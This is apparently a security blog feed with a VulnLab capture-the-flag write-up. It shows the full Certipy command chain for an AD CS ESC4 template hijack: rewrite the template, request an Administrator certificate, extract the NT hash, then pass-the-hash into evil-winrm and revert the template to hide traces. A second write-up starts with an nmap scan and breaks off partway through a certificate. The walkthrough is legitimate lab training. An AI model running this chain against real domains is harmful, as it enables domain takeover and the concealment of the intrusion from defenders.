Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : SENDAI.VL\Administrators Access Rights ManageCa : SENDAI.VL\Administrators SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins ManageCertificates : SENDAI.VL\Administrators SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins Enroll : SENDAI.VL\Authenticated Users Certificate Templates 0 Template Name : SendaiComputer Display Name : SendaiComputer Certificate Authorities : sendai-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns Enrollment Flag : AutoEnrollment Extended Key Usage : Server Authentication Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 100 years Renewal Period : 6 weeks Minimum RSA Key Length : 4096 Template Created : 2023-07-11T12:46:12+00:00 Template Last Modified : 2023-07-11T12:46:19+00:00 Permissions Enrollment Permissions Enrollment Rights : SENDAI.VL\Domain Admins SENDAI.VL\Domain Computers SENDAI.VL\Enterprise Admins Object Control Permissions Owner : SENDAI.VL\Administrator Full Control Principals : SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins SENDAI.VL\ca-operators Write Owner Principals : SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins SENDAI.VL\ca-operators Write Dacl Principals : SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins SENDAI.VL\ca-operators Write Property Enroll : SENDAI.VL\Domain Admins SENDAI.VL\Domain Computers SENDAI.VL\Enterprise Admins [+] User Enrollable Principals : SENDAI.VL\Domain Computers SENDAI.VL\ca-operators [+] User ACL Principals : SENDAI.VL\ca-operators [!] Vulnerabilities ESC4 : User has dangerous permissions. </code></pre> <p>The enumeration revealed a critical ESC4 vulnerability in the SendaiComputer certificate template. As documented in the <a href="https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc4-template-hijacking">Certipy documentation</a>, ESC4 (Template Hijacking) occurs when an attacker gains write permissions on a certificate template. This vulnerability allows modification of the template to create a vulnerable configuration, request a certificate using the malicious template, and potentially revert changes to cover tracks.</p> <h2>Template Hijacking Attack</h2> <p>To exploit this vulnerability, I first saved the current template configuration and then modified it to create a vulnerable state:</p> <pre><code>└─$ certipy-ad -debug template -u "clifford.davey@sendai.vl" -p "RFmoB2WplgE_3p" -template SendaiComputer -dc-ip 10.129.140.152 -dc-host dc.sendai.vl -target dc.sendai.vl -write-default-configuration Certipy v5.0.3 - by Oliver Lyak (ly4k) [+] Nameserver: '10.129.140.152' [+] DC IP: '10.129.140.152' [+] DC Host: 'dc.sendai.vl' [+] Target IP: '10.129.140.152' [+] Remote Name: 'dc.sendai.vl' [+] Domain: 'SENDAI.VL' [+] Username: 'CLIFFORD.DAVEY' [+] Authenticating to LDAP server using NTLM authentication [+] Using NTLM signing: False (LDAP signing: True, SSL: True) [+] Using channel binding signing: True (LDAP channel binding: True, SSL: True) [+] Using LDAP channel binding for NTLM authentication [+] LDAP NTLM authentication successful [+] Bound to ldaps://10.129.140.152:636 - ssl [+] Default path: DC=sendai,DC=vl [+] Configuration path: CN=Configuration,DC=sendai,DC=vl [*] Saving current configuration to 'SendaiComputer.json' [+] Attempting to write data to 'SendaiComputer.json' [+] Data written to 'SendaiComputer.json' [*] Wrote current configuration for 'SendaiComputer' to 'SendaiComputer.json' [*] Updating certificate template 'SendaiComputer' [*] Replacing: [*] nTSecurityDescriptor: b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00' [*] flags: 66104 [*] pKIDefaultKeySpec: 2 [*] pKIKeyUsage: b'\x86\x00' [*] pKIMaxIssuingDepth: -1 [*] pKICriticalExtensions: ['2.5.29.19', '2.5.29.15'] [*] pKIExpirationPeriod: b'\x00@9\x87.\xe1\xfe\xff' [*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2'] [*] pKIDefaultCSPs: ['2,Microsoft Base Cryptographic Provider v1.0', '1,Microsoft Enhanced Cryptographic Provider v1.0'] [*] msPKI-Enrollment-Flag: 0 [*] msPKI-Private-Key-Flag: 16 [*] msPKI-Certificate-Name-Flag: 1 [*] msPKI-Minimal-Key-Size: 2048 [*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2'] Are you sure you want to apply these changes to 'SendaiComputer'? (y/N): y [*] Successfully updated 'SendaiComputer' </code></pre> <h2>Verifying Template Modification</h2> <p>After the modification, I confirmed that the certificate template now exhibited the characteristics of an ESC1 vulnerability (Enrollee Supplies Subject and allows client authentication):</p> <pre><code>└─$ certipy-ad find -u "clifford.davey" -p "RFmoB2WplgE_3p" -dc-ip 10.129.140.152 -dc-host dc.sendai.vl -ns 10.129.140.152 -enabled -stdout -vulnerable Certipy v5.0.3 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 16 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for 'sendai-DC-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for 'sendai-DC-CA' [*] Checking web enrollment for CA 'sendai-DC-CA' @ 'dc.sendai.vl' [*] Enumeration output: Certificate Authorities 0 CA Name : sendai-DC-CA DNS Name : dc.sendai.vl Certificate Subject : CN=sendai-DC-CA, DC=sendai, DC=vl Certificate Serial Number : 326E51327366FC954831ECD5C04423BE Certificate Validity Start : 2023-07-11 09:19:29+00:00 Certificate Validity End : 2123-07-11 09:29:29+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : SENDAI.VL\Administrators Access Rights ManageCa : SENDAI.VL\Administrators SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins ManageCertificates : SENDAI.VL\Administrators SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins Enroll : SENDAI.VL\Authenticated Users Certificate Templates 0 Template Name : SendaiComputer Display Name : SendaiComputer Certificate Authorities : sendai-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Private Key Flag : ExportableKey Extended Key Usage : Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2023-07-11T12:46:12+00:00 Template Last Modified : 2025-09-17T21:51:59+00:00 Permissions Object Control Permissions Owner : SENDAI.VL\Administrator Full Control Principals : SENDAI.VL\Authenticated Users Write Owner Principals : SENDAI.VL\Authenticated Users Write Dacl Principals : SENDAI.VL\Authenticated Users [+] User Enrollable Principals : SENDAI.VL\Authenticated Users [+] User ACL Principals : SENDAI.VL\Authenticated Users [!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication. ESC4 : User has dangerous permissions. </code></pre> <p>The template was now vulnerable to both ESC1 and ESC4 attacks, with the critical "Enrollee Supplies Subject" property enabled and permissions allowing authenticated users to enroll.</p> <h2>Administrator Certificate Request</h2> <p>With the template in a vulnerable state, I requested a certificate for the Administrator account by specifying both the UPN and SID:</p> <pre><code>└─$ certipy-ad -debug req -u "clifford.davey@sendai.vl" -p "RFmoB2WplgE_3p" -ca sendai-DC-CA -template SendaiComputer -target dc.sendai.vl -upn "administrator@sendai.vl" -sid "S-1-5-21-3085872742-570972823-736764132-500" -dc-ip 10.129.140.152 -dc-host dc.sendai.vl Certipy v5.0.3 - by Oliver Lyak (ly4k) [+] Nameserver: '10.129.140.152' [+] DC IP: '10.129.140.152' [+] DC Host: 'dc.sendai.vl' [+] Target IP: None [+] Remote Name: 'dc.sendai.vl' [+] Domain: 'SENDAI.VL' [+] Username: 'CLIFFORD.DAVEY' [+] Trying to resolve 'dc.sendai.vl' at '10.129.140.152' [+] Generating RSA key [*] Requesting certificate via RPC [+] Trying to connect to endpoint: ncacn_np:10.129.140.152[\pipe\cert] [+] Connected to endpoint: ncacn_np:10.129.140.152[\pipe\cert] [*] Request ID is 8 [*] Successfully requested certificate [*] Got certificate with UPN 'administrator@sendai.vl' [+] Found SID in SAN URL: 'S-1-5-21-3085872742-570972823-736764132-500' [+] Found SID in security extension: 'S-1-5-21-3085872742-570972823-736764132-500' [*] Certificate object SID is 'S-1-5-21-3085872742-570972823-736764132-500' [*] Saving certificate and private key to 'administrator.pfx' [+] Attempting to write data to 'administrator.pfx' [+] Data written to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx' </code></pre> <h2>Extracting Administrator Credentials</h2> <p>Using the issued certificate, I extracted the Administrator's NTLM hash through PKINIT authentication:</p> <pre><code>└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.140.152 Certipy v5.0.3 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: 'administrator@sendai.vl' [*] SAN URL SID: 'S-1-5-21-3085872742-570972823-736764132-500' [*] Security Extension SID: 'S-1-5-21-3085872742-570972823-736764132-500' [*] Using principal: 'administrator@sendai.vl' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'administrator.ccache' [*] Wrote credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@sendai.vl': aad3b435b51404eeaad3b435b51404ee:cfb106feec8b89a3d98e14dcbe8d087a </code></pre> <h2>Achieving Domain Administrator Access</h2> <p>With the Administrator's NTLM hash in hand, I established a privileged session on the domain controller:</p> <pre><code>└─$ evil-winrm -i sendai.vl -u "administrator" -H cfb106feec8b89a3d98e14dcbe8d087a Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents&gt; </code></pre> <h2>Covering Tracks</h2> <p>To maintain operational security and avoid detection, I reverted the certificate template to its original configuration using the previously saved settings:</p> <pre><code>└─$ certipy-ad -debug template -u "clifford.davey@sendai.vl" -p "RFmoB2WplgE_3p" -template SendaiComputer -dc-ip 10.129.140.152 -dc-host dc.sendai.vl -target dc.sendai.vl -write-configuration SendaiComputer.json Certipy v5.0.3 - by Oliver Lyak (ly4k) [+] Nameserver: '10.129.140.152' [+] DC IP: '10.129.140.152' [+] DC Host: 'dc.sendai.vl' [+] Target IP: '10.129.140.152' [+] Remote Name: 'dc.sendai.vl' [+] Domain: 'SENDAI.VL' [+] Username: 'CLIFFORD.DAVEY' [+] Authenticating to LDAP server using NTLM authentication [+] Using NTLM signing: False (LDAP signing: True, SSL: True) [+] Using channel binding signing: True (LDAP channel binding: True, SSL: True) [+] Using LDAP channel binding for NTLM authentication [+] LDAP NTLM authentication successful [+] Bound to ldaps://10.129.140.152:636 - ssl [+] Default path: DC=sendai,DC=vl [+] Configuration path: CN=Configuration,DC=sendai,DC=vl [*] Saving current configuration to 'SendaiComputer.json' [+] Attempting to write data to 'SendaiComputer.json' File 'SendaiComputer.json' already exists. Overwrite? (y/n - saying no will save with a unique filename): n [+] Using alternative filename: 'SendaiComputer_9506a2c6-6d67-4177-8b68-50f3bedf034c.json' [+] Data written to 'SendaiComputer_9506a2c6-6d67-4177-8b68-50f3bedf034c.json' [*] Wrote current configuration for 'SendaiComputer' to 'SendaiComputer_9506a2c6-6d67-4177-8b68-50f3bedf034c.json' [*] Updating certificate template 'SendaiComputer' [*] Replacing: [*] nTSecurityDescriptor: b'\x01\x00\x04\x9ch\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x04\x00T\x01\x08\x00\x00\x00\x05\x008\x000\x01\x00\x00\x01\x00\x00\x00h\xc9\x10\x0e\xfbx\xd2\x11\x90\xd4\x00\xc0Oy\xdcU\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\x00\x02\x00\x00\x05\x008\x000\x01\x00\x00\x01\x00\x00\x00h\xc9\x10\x0e\xfbx\xd2\x11\x90\xd4\x00\xc0Oy\xdcU\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\x03\x02\x00\x00\x05\x008\x000\x01\x00\x00\x01\x00\x00\x00h\xc9\x10\x0e\xfbx\xd2\x11\x90\xd4\x00\xc0Oy\xdcU\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\x07\x02\x00\x00\x00\x00$\x00\xff\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\x00\x02\x00\x00\x00\x00$\x00\xff\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\x07\x02\x00\x00\x00\x00$\x00\xff\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\xf4\x01\x00\x00\x00\x00$\x00\xff\x01\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+h\x04\x00\x00\x00\x00\x14\x00\x94\x00\x02\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\xf4\x01\x00\x00' [*] flags: 131680 [*] pKIDefaultKeySpec: 1 [*] pKIKeyUsage: b'\xa0\x00' [*] pKIMaxIssuingDepth: 0 [*] pKICriticalExtensions: ['2.5.29.15'] [*] pKIExpirationPeriod: b'\x00\x00]\xd2,\xf6\x8f\xff' [*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.1', '1.3.6.1.5.5.7.3.2'] [*] pKIDefaultCSPs: ['1,Microsoft RSA SChannel Cryptographic Provider'] [*] msPKI-Enrollment-Flag: 32 [*] msPKI-Private-Key-Flag: 16842752 [*] msPKI-Certificate-Name-Flag: 134217728 [*] msPKI-Minimal-Key-Size: 4096 [*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.1', '1.3.6.1.5.5.7.3.2'] Are you sure you want to apply these changes to 'SendaiComputer'? (y/N): y [*] Successfully updated 'SendaiComputer' </code></pre> <h2>Verification of Template Restoration</h2> <p>A final verification confirmed that the certificate template was restored to its original secure configuration, with the ESC1 vulnerability no longer present:</p> <pre><code>└─$ certipy-ad find -u "clifford.davey" -p "RFmoB2WplgE_3p" -dc-ip 10.129.140.152 -dc-host dc.sendai.vl -ns 10.129.140.152 -enabled -stdout -vulnerable Certipy v5.0.3 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 16 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for 'sendai-DC-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for 'sendai-DC-CA' [*] Checking web enrollment for CA 'sendai-DC-CA' @ 'dc.sendai.vl' [*] Enumeration output: Certificate Authorities 0 CA Name : sendai-DC-CA DNS Name : dc.sendai.vl Certificate Subject : CN=sendai-DC-CA, DC=sendai, DC=vl Certificate Serial Number : 326E51327366FC954831ECD5C04423BE Certificate Validity Start : 2023-07-11 09:19:29+00:00 Certificate Validity End : 2123-07-11 09:29:29+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : SENDAI.VL\Administrators Access Rights ManageCa : SENDAI.VL\Administrators SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins ManageCertificates : SENDAI.VL\Administrators SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins Enroll : SENDAI.VL\Authenticated Users Certificate Templates 0 Template Name : SendaiComputer Display Name : SendaiComputer Certificate Authorities : sendai-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns Enrollment Flag : AutoEnrollment Extended Key Usage : Server Authentication Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 100 years Renewal Period : 6 weeks Minimum RSA Key Length : 4096 Template Created : 2023-07-11T12:46:12+00:00 Template Last Modified : 2025-09-17T22:42:07+00:00 Permissions Enrollment Permissions Enrollment Rights : SENDAI.VL\Domain Admins SENDAI.VL\Domain Computers SENDAI.VL\Enterprise Admins Object Control Permissions Owner : SENDAI.VL\Administrator Full Control Principals : SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins SENDAI.VL\ca-operators Write Owner Principals : SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins SENDAI.VL\ca-operators Write Dacl Principals : SENDAI.VL\Domain Admins SENDAI.VL\Enterprise Admins SENDAI.VL\ca-operators Write Property Enroll : SENDAI.VL\Domain Admins SENDAI.VL\Domain Computers SENDAI.VL\Enterprise Admins [+] User Enrollable Principals : SENDAI.VL\ca-operators SENDAI.VL\Domain Computers [+] User ACL Principals : SENDAI.VL\ca-operators [!] Vulnerabilities ESC4 : User has dangerous permissions. </code></pre> <p>The template had been successfully restored to its original state, showing only the ESC4 vulnerability (which required the CA-OPERATORS group membership to exploit). This completed the attack chain while minimizing forensic evidence of the compromise.</p> https://dahmanisec.me/posts/vulncicada/vulncicada/https://dahmanisec.me/posts/vulncicada/vulncicada/VulnLab Windows Active Directory machine demonstrating NFS misconfigurations and credential exposureTue, 09 Sep 2025 00:00:00 GMT<h2>Nmap Scan</h2> <p>First, I performed a comprehensive Nmap scan to identify open ports and running services on the target machine:</p> <pre><code>└─$ nmap -sV -vv -p- -A --min-rate 3000 -oN vulnCicada_tcp.txt 10.129.132.149 </code></pre> <pre><code>Nmap scan report for 10.129.132.149 (10.129.132.149) Host is up, received echo-reply ttl 127 (0.051s latency). Scanned at 2025-09-06 19:28:11 +01 for 180s Not shown: 65512 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-06 18:29:04Z) 111/tcp open rpcbind syn-ack ttl 127 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100005 1,2,3 2049/tcp mountd | 100005 1,2,3 2049/tcp6 mountd | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC-JPQ225.cicada.vl | Issuer: commonName=cicada-DC-JPQ225-CA/domainComponent=cicada | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-06T18:16:42 | Not valid after: 2026-09-06T18:16:42 | MD5: bf1f:ac81:fa7b:442e:e647:11bc:c4e5:402a | SHA-1: 48f0:b214:2fb7:0f23:cdb1:612e:cd14:535e:7bb8:4712 | -----BEGIN CERTIFICATE----- | MIIGQjCCBSqgAwIBAgITdAAAAFfXs2UyuT/hcAAcAAAAVzANBgkqhkiG9w0BAQsF | ADBKMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZjaWNhZGEx | HDAaBgNVBAMTE2NpY2FkYS1EQy1KUFEyMjUtQ0EwHhcNMjUwOTA2MTgxNjQyWhcN | MjYwOTA2MTgxNjQyWjAeMRwwGgYDVQQDExNEQy1KUFEyMjUuY2ljYWRhLnZsMIIB | IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA19ty7oM3TNC0ehF2+bEt8Uwv | JMx76rw1n85QYczi25aWnUJ2+G2yThM2AQYXMC1kMMum8LAoc+WDBSrp+6pW3vVA | MEbnHDZBrsN1CW0WCyv2bPfMquIxOLUr9yZEp9ziInuKnmgn+aIcPRMG8kVbk7Er | A+OkLuG1JD3F6f4/qSPL10ZfQQH9+SjmJdxh5BWvbEnDBX+1iF7BADmPEmdXK1cV | Zxe2x+OGXhd5bBZOugRpc5/riblqi5+6Xj/hUsSNwCDJUDMGnCNUbw9sgWr3vJa1 | bBTSM7NdJq/GkdhhuTQrnTHDk5CoAxAfNmiSJicjvVonqDXufDcATEwbIOgR0QID | AQABo4IDSzCCA0cwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0 | AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNV | HQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYI | KoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUD | BAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzBMBgkrBgEEAYI3 | GQIEPzA9oDsGCisGAQQBgjcZAgGgLQQrUy0xLTUtMjEtNjg3NzAzMzkzLTE0NDc3 | OTU4ODItNjYwOTgyNDctMTAwMDA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaASBBBJ | dTpUavdLT4B84ikMU0MFghNEQy1KUFEyMjUuY2ljYWRhLnZsMB0GA1UdDgQWBBT3 | Mja2q44Gjn47J8gYGNsdE+lmPDAfBgNVHSMEGDAWgBQdBflF4nQ7T40THWEd2S3w | WfbrQTCB1QYDVR0fBIHNMIHKMIHHoIHEoIHBhoG+bGRhcDovLy9DTj1jaWNhZGEt | REMtSlBRMjI1LUNBKDI4KSxDTj1EQy1KUFEyMjUsQ049Q0RQLENOPVB1YmxpYyUy | MEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9 | Y2ljYWRhLERDPXZsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmpl | Y3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBwwYIKwYBBQUHAQEEgbYwgbMw | gbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1jaWNhZGEtREMtSlBRMjI1LUNBLENO | PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D | b25maWd1cmF0aW9uLERDPWNpY2FkYSxEQz12bD9jQUNlcnRpZmljYXRlP2Jhc2U/ | b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF | AAOCAQEAFA9MrBFpy3kQsVTyHs3r85gphK6OUeuWl20FW6khDvfJvDnJGHIsOM5e | mvQ8+T8xGOMFhjEIt2Su8+RbJRzQmdRL9ImQflwErB/Vlss6amE4usJJiAJ3O5Z0 | 1wCX3ouSr3zDAvzyUAPYTC8UdwaxuHMzlYFeoSE6n8rSqN4qYcyMI+uD3sjoQWdY | Csg0IxE3hUdCEWmL8l/7S1/8jejKw4HTWcdt+S1x+OvtO7dxWQulEY+xkuonImqR | L2qB1815e9XnwmXo6ufA77A3m2EIyBDTjyIQelEakj5tg3KXJPxpuUgdZIyv2Hgi | XGvs9UGoPQMmT63GzeHPo8VRJ9x0zg== |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC-JPQ225.cicada.vl | Issuer: commonName=cicada-DC-JPQ225-CA/domainComponent=cicada | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-06T18:16:42 | Not valid after: 2026-09-06T18:16:42 | MD5: bf1f:ac81:fa7b:442e:e647:11bc:c4e5:402a | SHA-1: 48f0:b214:2fb7:0f23:cdb1:612e:cd14:535e:7bb8:4712 | -----BEGIN CERTIFICATE----- | MIIGQjCCBSqgAwIBAgITdAAAAFfXs2UyuT/hcAAcAAAAVzANBgkqhkiG9w0BAQsF | ADBKMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZjaWNhZGEx | HDAaBgNVBAMTE2NpY2FkYS1EQy1KUFEyMjUtQ0EwHhcNMjUwOTA2MTgxNjQyWhcN | MjYwOTA2MTgxNjQyWjAeMRwwGgYDVQQDExNEQy1KUFEyMjUuY2ljYWRhLnZsMIIB | IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA19ty7oM3TNC0ehF2+bEt8Uwv | JMx76rw1n85QYczi25aWnUJ2+G2yThM2AQYXMC1kMMum8LAoc+WDBSrp+6pW3vVA | MEbnHDZBrsN1CW0WCyv2bPfMquIxOLUr9yZEp9ziInuKnmgn+aIcPRMG8kVbk7Er | A+OkLuG1JD3F6f4/qSPL10ZfQQH9+SjmJdxh5BWvbEnDBX+1iF7BADmPEmdXK1cV | Zxe2x+OGXhd5bBZOugRpc5/riblqi5+6Xj/hUsSNwCDJUDMGnCNUbw9sgWr3vJa1 | bBTSM7NdJq/GkdhhuTQrnTHDk5CoAxAfNmiSJicjvVonqDXufDcATEwbIOgR0QID | AQABo4IDSzCCA0cwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0 | AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNV | HQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYI | KoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUD | BAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzBMBgkrBgEEAYI3 | GQIEPzA9oDsGCisGAQQBgjcZAgGgLQQrUy0xLTUtMjEtNjg3NzAzMzkzLTE0NDc3 | OTU4ODItNjYwOTgyNDctMTAwMDA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaASBBBJ | dTpUavdLT4B84ikMU0MFghNEQy1KUFEyMjUuY2ljYWRhLnZsMB0GA1UdDgQWBBT3 | Mja2q44Gjn47J8gYGNsdE+lmPDAfBgNVHSMEGDAWgBQdBflF4nQ7T40THWEd2S3w | WfbrQTCB1QYDVR0fBIHNMIHKMIHHoIHEoIHBhoG+bGRhcDovLy9DTj1jaWNhZGEt | REMtSlBRMjI1LUNBKDI4KSxDTj1EQy1KUFEyMjUsQ049Q0RQLENOPVB1YmxpYyUy | MEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9 | Y2ljYWRhLERDPXZsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmpl | Y3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBwwYIKwYBBQUHAQEEgbYwgbMw | gbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1jaWNhZGEtREMtSlBRMjI1LUNBLENO | PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D | 